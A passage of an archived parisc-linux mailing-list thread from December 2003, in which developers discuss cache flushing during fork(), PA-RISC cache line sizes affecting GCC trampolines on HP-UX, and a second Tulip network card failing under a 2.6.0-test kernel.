	by dsl2.external.hp.com (Postfix) with ESMTP id 7A2954840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Dec 2003 22:06:59 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBG56w2v015892; Tue, 16 Dec 2003 00:06:58 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBG56wnD015891;
	Tue, 16 Dec 2003 00:06:58 -0500 (EST)
In-Reply-To: <20031216044033.GT533@tausq.org> from "Randolph Chung" at Dec 15,
	2003 08:40:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 05:07:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20399

> Hi,
> 
> Can someone please explain why it is necessary to flush the cache 
> during fork()? (i.e. call to flush_cache_mm() in dup_mmap)

I have a different cache question.  GCC uses a stack trampoline
to call nested functions.  This trampoline is on the stack and
has to be flushed before being used.  A few weeks ago a trampoline
testcase was added.  This testcase failed under hppa64-hpux.  It
turned out that the code assumed that the PA 2.0 cache line was
32 bytes (it was apparently derived from the original PA 1.1 code).

According to my understanding, all PA 2.0 machines use a 64 byte
cache line.  On the otherhand, the PA 2.0 documentation states that
a cache line on a PA 2.0 machine can be 16, 32 or 64 bytes if I
remember correctly.

After I changed the cache line to 64 bytes, the GCC testcase passed
under hpux 11.11 on the A500 that I have.  However, I noticed
recently that it still fails on a C200 running 11.00.  It dies
with an illegal insn (it's a mfia) about the 5th time through
one of the trampolines that the code creates.  The mfia insn is
the entry to the trampoline and it's 16 bytes from the start of
the trampoline data.  If I copy the C200 binary to the A500, it
executes without error.  So, there appears to be a subtle hardware
or OS dependence involved.

I believe that code follows the stated rules for self-modifying code.
The code looks fine when examined with gdb.

Anybody have have any ideas what might be going on?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@mmjgroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Question about cache flushing and fork
Date: Tue, 16 Dec 2003 08:53:24 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20031216155324.GB25535__10992.2281037599$1416623056$gmane$org@mmjgroup.com>
References: <20031216044033.GT533@tausq.org>
	<20031215204835.0993a51a.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623056 3413 80.91.229.3 (22 Nov 2014 02:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:16 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: lamont@mmjgroup.com  Tue Dec 16 08:53:32 2003
Return-Path: <lamont@mmjgroup.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mmjgroup.com (mmjgroup.com [192.34.35.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF7C14866
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 08:53:31 -0700 (MST)
Original-Received: from mix.mmjgroup.com (mix.mmjgroup.com [192.34.35.31])
	by mmjgroup.com (Postfix) with ESMTP
	id 50E3316F1D; Tue, 16 Dec 2003 08:53:27 -0700 (MST)
Original-Received: by mix.mmjgroup.com (Postfix, from userid 1000)
	id 71D4023826; Tue, 16 Dec 2003 08:53:26 -0700 (MST)
Mail-Followup-To: LaMont Jones <lamont@mmjgroup.com>,
	"David S. Miller" <davem@redhat.com>,
	Randolph Chung <randolph@tausq.org>, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20031215204835.0993a51a.davem@redhat.com>
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 15:53:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20400

On Mon, Dec 15, 2003 at 08:48:35PM -0800, David S. Miller wrote:
> On Mon, 15 Dec 2003 20:40:33 -0800
> Randolph Chung <randolph@tausq.org> wrote:
> > Can someone please explain why it is necessary to flush the cache 
> > during fork()? (i.e. call to flush_cache_mm() in dup_mmap)
> Writable pages that will be shared between the child and
> parent are marked read-only and COW, some cpu caches store
> protection information in the cache lines in order to avoid
> TLB lookups etc. so the caches must be flushed since the
> page protection information is changing.

On PARISC, the cache line contains the following elements:
	1) data (obviously)
	2) physical page
	3) dirty/clean/public/private/etc state

A cache access hits or misses depending on whether or not the physical page from
the TLB matches the physical page stored in the cache line.

If flushing is required during fork on PARISC, then there are cache consistency
issues elsewhere, something is horribly broken in the design (and it should be
falling all over anyway).

lamont


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@mmjgroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: Tue, 16 Dec 2003 09:03:01 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20031216160301.GC25535@mmjgroup.com>
References: <20031216044033.GT533@tausq.org>
	<200312160506.hBG56wnD015891@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623056 3417 80.91.229.3 (22 Nov 2014 02:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:16 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: lamont@mmjgroup.com  Tue Dec 16 09:03:04 2003
Return-Path: <lamont@mmjgroup.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mmjgroup.com (mmjgroup.com [192.34.35.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 881A34866
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 09:03:04 -0700 (MST)
Original-Received: from mix.mmjgroup.com (mix.mmjgroup.com [192.34.35.31])
	by mmjgroup.com (Postfix) with ESMTP
	id C12E816E4F; Tue, 16 Dec 2003 09:03:02 -0700 (MST)
Original-Received: by mix.mmjgroup.com (Postfix, from userid 1000)
	id B10CA23826; Tue, 16 Dec 2003 09:03:02 -0700 (MST)
Mail-Followup-To: LaMont Jones <lamont@mmjgroup.com>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200312160506.hBG56wnD015891@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 16:03:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20401

On Tue, Dec 16, 2003 at 12:06:57AM -0500, John David Anglin wrote:
> According to my understanding, all PA 2.0 machines use a 64 byte
> cache line.  On the otherhand, the PA 2.0 documentation states that
> a cache line on a PA 2.0 machine can be 16, 32 or 64 bytes if I
> remember correctly.

Correct.  I believe that PDC_CACHE returns the actual size (among other
things.)

> After I changed the cache line to 64 bytes, the GCC testcase passed
> under hpux 11.11 on the A500 that I have.  However, I noticed
> recently that it still fails on a C200 running 11.00.  It dies
> with an illegal insn (it's a mfia) about the 5th time through
> one of the trampolines that the code creates.  The mfia insn is
> the entry to the trampoline and it's 16 bytes from the start of
> the trampoline data.  If I copy the C200 binary to the A500, it
> executes without error.  So, there appears to be a subtle hardware
> or OS dependence involved.

If the C200 is genuinely a PA2.0 machine, then that's, umm, interesting,
since the arch document doesn't say that it's hversion dependent...  The 
instruction is undefined(*) on PA1.1 - you must bl .+8,<register>, which
will get you the address of .+8 (regardless of where you branch.)

lamont

(*) undefined is defined as resulting in any CPU state, with the sole
requirement that there is some defined set of instructions, operating at
the same privilege level that results in the same CPU state.


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-test11-pa6: 2d nic tulip pb
Date: Tue, 16 Dec 2003 18:17:02 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <3FB265EC00015040@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623056 3418 80.91.229.3 (22 Nov 2014 02:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Tue Dec 16 10:17:05 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id E033C4855
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 10:17:04 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1AWIoh-0005Qb-00
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 18:17:03 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 16 Dec 2003 18:17:02 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 17:17:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20402

Hi all,

I recompile 2.6.0-test11-pa6 in 32bit with gcc-3.3 (lastest unstable debian
available today) and the .config from 'make defconfig'.

It boot fine on b180 and b2k but on this last one there is an additonal nic
of tulip model:
# lspci
00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43
(rev 41)
00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560 IDE
(rev 03)
00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev
01)
00:0e.2 USB Controller: National Semiconductor Corporation USB Controller
(rev 02)
00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c895a (rev 01)
01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
01:01.0 VGA compatible controller: ATI Technologies Inc Rage XL (rev 27)
01:02.0 Ethernet controller: Digital Equipment Corporation DECchip 21142/43
(rev 41)
01:03.0 SCSI storage controller: LSI Logic / Symbios Logic 53c875 (rev 26)
01:04.0 Network controller: Eicon Technology Corporation EiconCard P92

but failled to configure (it was well when runing 2.4)
# ifconfig -a
eth0      Link encap:Ethernet  HWaddr 00:30:D3:01:5A:3B  
          inet addr:172.16.248.45  Bcast:172.16.248.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:185 errors:1 dropped:0 overruns:0 frame:0
          TX packets:74 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:15144 (14.7 KiB)  TX bytes:9785 (9.5 KiB)
          Interrupt:66 Base address:0xf00 

eth1      Link encap:Ethernet  HWaddr 00:30:6E:06:23:D0  
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
          Interrupt:130 Base address:0x2100 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:68 errors:0 dropped:0 overruns:0 frame:0
          TX packets:68 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4720 (4.6 KiB)  TX bytes:4720 (4.6 KiB)

Any idea?

Thanks,
    Joel

PS: Just in case here is my /etc/network/interfaces
# The loopback interface
auto lo
iface lo inet loopback

# The first network card - this entry was created during the Debian installation
# (network, broadcast and gateway are optional)
#auto eth0 eth1
auto eth0
iface eth0 inet static
        address 172.16.248.45
        netmask 255.255.255.0
        network 172.16.248.0
        broadcast 172.16.248.255
        gateway 172.16.248.240

iface eth1 inet static
        address 172.16.250.47
        netmask 255.255.255.0
        network 172.16.250.0
        broadcast 172.16.250.255




-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test11-pa6: 2d nic tulip pb
Date: Tue, 16 Dec 2003 18:08:03 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20031216180803.GN15674@parcelfarce.linux.theplanet.co.uk>
References: <3FB265EC00015040@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623056 3422 80.91.229.3 (22 Nov 2014 02:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Tue Dec 16 11:08:05 2003
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21B4A4855
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 11:08:05 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AWJc3-000686-PE; Tue, 16 Dec 2003 18:08:03 +0000
Content-Disposition: inline
In-Reply-To: <3FB265EC00015040@ocpmta3.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 18:08:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20403

On Tue, Dec 16, 2003 at 06:17:02PM +0100, Joel Soete wrote:
> Hi all,
> 
> I recompile 2.6.0-test11-pa6 in 32bit with gcc-3.3 (lastest unstable debian
> available today) and the .config from 'make defconfig'.

Could we see the dmesg too?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: Tue, 16 Dec 2003 17:51:38 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200312162251.hBGMpd15018573@hiauly1.hia.nrc.ca>
References: <20031216160301.GC25535@mmjgroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623057 3426 80.91.229.3 (22 Nov 2014 02:24:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:17 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: lamont@mmjgroup.com (LaMont Jones)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Dec 16 15:51:47 2003
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBC8F4855
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 15:51:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	hBGMpe2v018590; Tue, 16 Dec 2003 17:51:40 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hBGMpd15018573;
	Tue, 16 Dec 2003 17:51:39 -0500 (EST)
In-Reply-To: <20031216160301.GC25535@mmjgroup.com> from "LaMont Jones" at Dec
	16, 2003 09:03:01 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 22:51:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20404

> On Tue, Dec 16, 2003 at 12:06:57AM -0500, John David Anglin wrote:
> > According to my understanding, all PA 2.0 machines use a 64 byte
> > cache line.  On the otherhand, the PA 2.0 documentation states that
> > a cache line on a PA 2.0 machine can be 16, 32 or 64 bytes if I
> > remember correctly.
> 
> Correct.  I believe that PDC_CACHE returns the actual size (among other
> things.)

Is it possible to do PDC calls from user space under hpux to determine
cache parameters?

> If the C200 is genuinely a PA2.0 machine, then that's, umm, interesting,
> since the arch document doesn't say that it's hversion dependent...  The 
> instruction is undefined(*) on PA1.1 - you must bl .+8,<register>, which
> will get you the address of .+8 (regardless of where you branch.)

I revised GCC's trampoline code to assume a line length of 32 instead
of 64 on hppa64.  It can now flush arbitrarily long regions of memory.
The test now passes.  This seems to imply that the cache length of a
C200 under hpux11.00 is 32 bytes.

Thanks,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: Tue, 16 Dec 2003 15:23:40 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200312162323.hBGNNeX24439@opus.allegro.com>
References: <200312162251.hBGMpd15018573@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623057 3438 80.91.229.3 (22 Nov 2014 02:24:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:17 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org,
	LaMont Jones <lamont@mmjgroup.com>
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: sieler@allegro.com  Tue Dec 16 16:23:56 2003
Return-Path: <sieler@allegro.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DBFA4855
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 16:23:56 -0700 (MST)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id hBGNNeX24439;
	Tue, 16 Dec 2003 15:23:40 -0800
In-Reply-To: <200312162251.hBGMpd15018573@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Dec 16, 2003 05:51:38 PM
X-Mailer: ELM [version 2.5 PL6]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Dec 2003 23:23:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20405

Re:

> Is it possible to do PDC calls from user space under hpux to determine
> cache parameters?

Not that I know of.  I have a driver that lets me do it.  PDC calls
generally run with virtual address translation turned off.

Wait ... I forgot ...  yes, sort of.  
/dev/diag/diag2 allows you to do (some) PDC calls.  
Unfortunately, it's not documented :(
 
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com


From - Thu Nov 08 21:30:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about cache flushing and fork
Date: Tue, 16 Dec 2003 17:30:01 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20031217003001.GG25535@mmjgroup.com>
References: <20031216160301.GC25535@mmjgroup.com>
	<200312162251.hBGMpd15018573@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623057 3447 80.91.229.3 (22 Nov 2014 02:24:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:17 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: lamont@mmjgroup.com  Tue Dec 16 17:30:06 2003
Return-Path: <lamont@mmjgroup.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mmjgroup.com (mmjgroup.com [192.34.35.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 363C94875
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Dec 2003 17:30:06 -0700 (MST)
Original-Received: from mix.mmjgroup.com (mix.mmjgroup.com [192.34.35.31])
	by mmjgroup.com (Postfix) with ESMTP
	id B4C3A16DC3; Tue, 16 Dec 2003 17:30:04 -0700 (MST)
Original-Received: by mix.mmjgroup.com (Postfix, from userid 1000)
	id 7E34523826; Tue, 16 Dec 2003 17:30:02 -0700 (MST)
Mail-Followup-To: LaMont Jones <lamont@debian.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200312162251.hBGMpd15018573@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 17 Dec 2003 00:30:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20406

On Tue, Dec 16, 2003 at 05:51:38PM -0500, John David Anglin wrote:
> > On Tue, Dec 16, 2003 at 12:06:57AM -0500, John David Anglin wrote:
> Is it possible to do PDC calls from user space under hpux to determine
> cache parameters?

The architecture requires that pdc calls be done at ring 0, with PSW.D=0,
so no.  Having said that, many of the interesting return values are
available from the kernel, either through sysconf or (sigh) /dev/kmem.

> I revised GCC's trampoline code to assume a line length of 32 instead
> of 64 on hppa64.  It can now flush arbitrarily long regions of memory.
> The test now passes.  This seems to imply that the cache length of a
> C200 under hpux11.00 is 32 bytes.

Cache line size is fixed on every CPU that I've seen, so OS shouldn't
matter...  One can assume a 16-byte cache line and it will work everywhere,
